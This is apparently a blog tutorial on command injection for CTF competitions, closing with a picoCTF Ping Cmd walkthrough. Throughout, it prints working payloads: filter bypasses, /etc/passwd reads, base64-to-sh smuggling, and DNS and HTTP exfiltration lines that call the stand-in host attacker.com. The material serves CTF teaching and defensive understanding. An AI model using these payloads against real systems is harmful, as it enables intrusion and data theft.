April 18, 2026

Command Injection for CTF: From Ping Boxes to Blind Exfil

A practical guide to command injection in CTF competitions: shell metacharacters, in-band reads, blind time and out-of-band techniques, filter bypass with IFS and globs, dash vs bash gotchas, and the picoCTF Ping Cmd walkthrough.

Introduction

Most command injection CTF writeups hand you a payload list and call it a day. That works until the challenge wraps the input in a blocklist, and suddenly every payload you memorized returns an error. The sharper mental model is that the shell is a parser with documented quirks, and the "payloads" are just parser loopholes. Once you see it that way, you stop memorizing and start reading a spec.

Command injection shows up whenever a web app or service takes user input and concatenates it into a shell command string. The textbook example is a diagnostic tool that accepts an IP address and runsping -c 4 <input> through system(), shell_exec(), orsubprocess.run(..., shell=True). The Open Web Application Security Project (OWASP) groups it under Top 10 A03:2021 Injection(the broader injection family, including SQL and cross-site scripting; the family as a whole slipped from the #1 slot in 2017 to #3 in 2021). The specific weakness is tracked in MITRE's Common Weakness Enumeration as CWE-78, OS Command Injection, which has appeared on every CWE Top 25 Most Dangerous Software Weaknesses list from 2019 through 2025.

The three axes: Before you pick a payload, answer three questions. Does the app echo command output back to you (in-band), or do you need to infer success another way (blind)? Which shell metacharacters is the parser willing to interpret? And what does the blocklist actually match, bytes or tokens? The answer tells you which payload family fits.
In-band readsEasy

When to use: Command output is reflected in the response body

Blind time-basedMedium

When to use: No output reflection, but you can observe response delay

Out-of-band (OAST)Medium

When to use: No reflection, no timing signal - exfil via DNS or HTTP callback

File-write redirectMedium

When to use: Blind, but the server exposes a static directory you can read back

The shell is a parser, not a payload list

The Bash manualdefines a metacharacter as "a character that, when unquoted, separates words": space, tab, newline, or one of | & ; ( ) < >. The set of control operators is small and documented:|| && & ; ;; ;& ;;& | |& ( ). Every one of them is a place where attacker-controlled input can splice a second command into the stream.

OperatorBehaviorExample payload
;Run the next command unconditionally (Unix only)8.8.8.8; id
|Pipe stdout of the first command into the second8.8.8.8 | id
&&Run the next command only if the first succeeds8.8.8.8 && id
||Run the next command only if the first failsnotanip || id
`cmd`Legacy command substitution`id`
$(cmd)Modern command substitution, nestable$(id)
newlineStatement terminator (send as %0a URL-encoded)8.8.8.8%0aid

The OWASP project describes command injection succinctly as "an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application," and it notes a useful boundary: command injection extends what the app already does, while code injection adds new code. A form that wraps ping and lets an attacker append ; cat /flagis command injection. A form that takes raw Python and eval()s it is code injection.

In-band reads: when output reflects back

The easiest case. You inject, the server runs your payload, and the output lands directly in the HTTP response body. Start with the confirmation payload, then pivot to recon, then grab the flag.

# 1. Confirm the injection point
8.8.8.8; id
8.8.8.8 && whoami
 
# 2. Locate the flag
8.8.8.8; ls /
8.8.8.8; find / -name 'flag*' 2>/dev/null
8.8.8.8; env
 
# 3. Read it
8.8.8.8; cat /flag.txt

The first time I saw the 2>/dev/null trick I thought it was noise. It is not. File descriptor 2 is standard error (stderr), and 2>/dev/null redirects it to the bit bucket. A recursive find / without that redirect floods the response with permission-denied errors and makes the flag line almost impossible to spot.

PortSwigger's Web Security Academy keeps a handy enumeration table: whoami for the user, uname -a for the OS,ifconfig or ip a for network, ps -ef for processes. On Windows the equivalents are whoami, ver, ipconfig /all,tasklist. CTF flags usually live in /flag.txt, /flag, or/root/flag.txt, but always run ls / first because the exact filename often carries a random suffix.

picoCTF challenges using this technique

Ping Cmd is pure command injection via a web ping form. n0s4n1ty 1 reaches command execution through a related path (PHP file upload to a web shell), useful as a cousin pattern to see on the same box. For a broader look at web exploitation, see SQL Injection for CTF.

Blind injection: when nothing reflects

Blind command injection means the app runs your payload but never echoes the output. You need a side channel. Three classic ones: timing, file write, and out-of-band callbacks.

Time-based

Inject a deliberate delay. If the response takes measurably longer, your command ran. This is the cheapest confirmation because it needs no infrastructure.

# Unix: sleep for 5 seconds
8.8.8.8; sleep 5
 
# PortSwigger-style ping delay (Linux uses -c, Windows uses -n)
& ping -c 10 127.0.0.1 &
 
# Conditional delay (Boolean exfil, one bit per request)
8.8.8.8; [ $(whoami) = root ] && sleep 5

Output redirection to a reachable file

If the web server exposes a static directory, redirect your command's stdout into a file under that directory and then browse to it. This turns a blind injection into an in-band one in two requests.

; id > /var/www/html/uploads/out.txt
# then fetch http://target/uploads/out.txt

Out-of-band (OAST) via DNS or HTTP

Out-of-band application security testing (OAST) means using an external collaborator you control, such as Burp Collaboratoror ProjectDiscovery's open-source interactsh, to receive DNS or HTTP callbacks. The first DNS callback I ever caught from a blind target felt unreal: a query showed up on my collaborator instance carrying the string www-data as the subdomain, and the whole exfil pipeline was three lines of payload. Each DNS label carries up to 63 bytes (RFC 1035), and outbound DNS is almost never blocked by corporate egress rules. The queried name is the exfil channel: every lookup your collaborator receives embeds whatever the shell produced.

# DNS callback - leaks whoami as a subdomain
; nslookup $(whoami).attacker.com
 
# HTTP callback - exfil with base64 encoding
; curl http://attacker.com/$(id | base64 -w0)

Filter bypass: the blocklist blind spots

PortSwigger's academy gives the single best defensive quote in this space: practitioners should "never attempt to sanitize input by escaping shell metacharacters." The reason is that the bypass surface is enormous, and a blocklist that misses one character family loses the whole filter. Four bypass families cover most of what you will hit in CTFs.

Why these bypasses work: The shell does its work in phases. It tokenizes first, then expands (variables, braces, globs, command substitution), then handles quoting and escapes, and only then hands argv to the kernel. A filter runs on the input string, which means anything that materializes after tokenization is invisible to it. Space filters lose to variable and brace expansion. Keyword filters lose to glob expansion and token splits. Whole-command filters lose to command substitution over encoded bytes. When you pick a bypass, ask which phase will produce the forbidden bytes after the filter has already seen the input.

1. Space filters

The filter strips or blocks " ". Substitute it with something the shell expands to whitespace before running. $IFS is the Internal Field Separator, which expands to space, tab, and newline. $IFS$9 chains a second parameter expansion directly behind it: the leading $ in $9 terminates the $IFS variable name (a bare$ is not a valid identifier character), and $9 itself is the ninth positional argument, which is almost always unset in a web command-exec context. Net effect: whitespace followed by nothing, cleanly separated.

cat$IFS/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd} # brace expansion emits a real space
cat%09/etc/passwd # URL-encoded tab
cat<<<$(ls\ /) # here-string, bash-only

2. Keyword filters

The filter blocks cat, bash, /etc/passwd, or similar literal strings. Rebuild the literal from pieces the filter cannot recognize. Pathname expansion resolves wildcards against the filesystem before the shell hands the command off to the kernel, so the string /???/c?tnever contains the byte sequence "cat" but has expanded to /bin/cat by the time the program actually runs.

# Globs
/???/c?t /e??/p?ss?? # expands to /bin/cat /etc/passwd
 
# Variable concatenation
a=ca;b=t;$a$b /etc/passwd
 
# Token splits (backslash, empty quotes, $@)
c\at /etc/pa\sswd
c""at /etc/pas""swd
cat$@ /etc/passwd
 
# Parameter-expansion surgery to produce a slash without typing one
cat${HOME:0:1}etc${HOME:0:1}passwd # bash-only

3. Whole-command filters

The filter blocks every dangerous command name and most metacharacters. Smuggle the payload as base64 and decode inside the shell process. The bytes that hit the filter are only alphanumerics and a single pipe.

echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
 
# Reconstruct a forbidden string with printf hex escapes
$(printf '\x63\x61\x74') /etc/passwd # prints 'cat'

4. Read without cat

Dozens of Unix tools will dump a file to stdout as a side effect of their real job. When cat, less, more, head, and tail are all blocked, one of these almost always survives. The GTFOBins project catalogs them formally under the file-read capability.

xxd /etc/passwd | xxd -r # xxd then reverse
rev /etc/passwd | rev # rev twice
awk 1 /etc/passwd # 1 is a truthy pattern with no action block, triggers default print
grep "" /etc/passwd # empty pattern matches every line
od -c /etc/passwd
nl /etc/passwd
$(</etc/passwd) # bash-only null-command redirection

Dash vs bash: the shell you actually get

This is the gotcha that eats entry-level CTF players. I lost an hour to it once, staring at a working readlinkoutput and a brace-expansion payload that the server kept rejecting with "bad substitution". On Debian and Ubuntu, /bin/sh is a symlink to dash, not bash. Most PHP, Python, and Node web apps invoke the shell through /bin/sh -c, which means your injected payload runs under dash even on a machine where an interactive bash prompt exists. A pile of "bash tricks" break silently.

TechniqueWorks in dash?Works in bash?
$IFS$9, $IFSYesYes
/???/c?t wildcardsYesYes
c\at backslash splitsYesYes
{cat,/etc/passwd} brace expansionNoYes
${HOME:0:1} substringNoYes
<<< here-stringNoYes
$(</file) null redirectionNoYes

The fastest probe: inject ; ls -l /bin/sh, which shows the symlink target if one exists, or ; ps -p $$, which names the shell process actually running your command. If either reveals dash, drop the bash-only payloads from your list. If you need bash features, you can often re-enter with ; bash -c 'your payload here', assuming bash is installed and not blocklisted.

Language traps that spawn a shell

Command injection almost always traces back to a specific dangerous API in the host language. The pattern is the same across stacks: passing a full command string instead of an argv list tells the runtime to invoke a shell, which is where injection becomes possible.

  • Python. The official subprocess docs warn that when shell=True, "it is the application's responsibility to ensure that all whitespace and metacharacters are quoted appropriately to avoid shell injection vulnerabilities." The documented guidance is blunt: pass a list. subprocess.run(["ping", "-c", "4", user_ip]) bypasses the shell entirely.
  • Node.js. The child_process API docs warn underexec(): "Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution."execFile() and spawn() do not spawn a shell by default and are the safe defaults.
  • PHP. shell_exec, system, exec, passthru, and the backtick operator all invoke a shell. escapeshellarg exists but is routinely misused.
  • Java. OWASP notes an unusual detail: the Runtime.exec(String) overload tokenizes its input and runs the first word as the program directly, so that specific overload does not invoke a shell, and classic ; cat /flag payloads fail against it. Java code that builds a command string and wraps it in sh -c (or uses ProcessBuilder with a shell prefix) is as vulnerable as anything else, and argument-injection bugs (see CWE-88) are common even when the shell is out of the loop.

picoCTF: Ping Cmd walkthrough

The Ping Cmd challenge from picoCTF 2026 is the textbook entry point. The landing page hosts a web form that accepts an IP address and runs ping against it. There is no client-side validation and, as it turns out, no server-side validation either.

# 1. Baseline request (normal use)
POST /ping -> ip=8.8.8.8 -> response shows ping output
 
# 2. Injection confirmation
ip=8.8.8.8; id
# response now includes: uid=33(www-data) gid=33(www-data)
 
# 3. Locate the flag
ip=8.8.8.8; ls /
# response lists: bin boot dev etc flag.txt home ...
 
# 4. Read it
ip=8.8.8.8; cat /flag.txt
# picoCTF{c0mmand_1nj3ct10n_...}

Three small notes make the difference between solving this in two minutes and losing an hour. First, the challenge uses a shell-through diagnostic, which is exactly the antipattern OWASP flags as the canonical command injection shape. Second, the output is reflected verbatim, so this is in-band and you never need to reach for the blind techniques. Third, there is no blocklist, so the simplest semicolon payload works; if a later revision of the challenge adds a filter, the bypass table above applies directly.

For a cousin pattern that also ends in arbitrary command execution via a different door, see n0s4n1ty 1 (PHP file upload to a web shell). The payload mechanics are different but the mental model is the same: find the layer that hands user input to /bin/sh, then control the tokenization.

Quick reference

ScenarioPayload
Confirm injection; id
Read flag (in-band); cat /flag.txt
Find flag file; find / -name 'flag*' 2>/dev/null
Blind time-based; sleep 5
Blind DNS exfil; nslookup $(whoami).attacker.com
Blind HTTP exfil; curl attacker.com/$(id|base64 -w0)
Space filteredcat$IFS$9/etc/passwd
Keyword "cat" blocked/???/c?t /etc/passwd
Newline separatorip=8.8.8.8%0aid
Base64 smuggleecho <b64> | base64 -d | sh
Shell identification; readlink /bin/sh

Related picoCTF writeups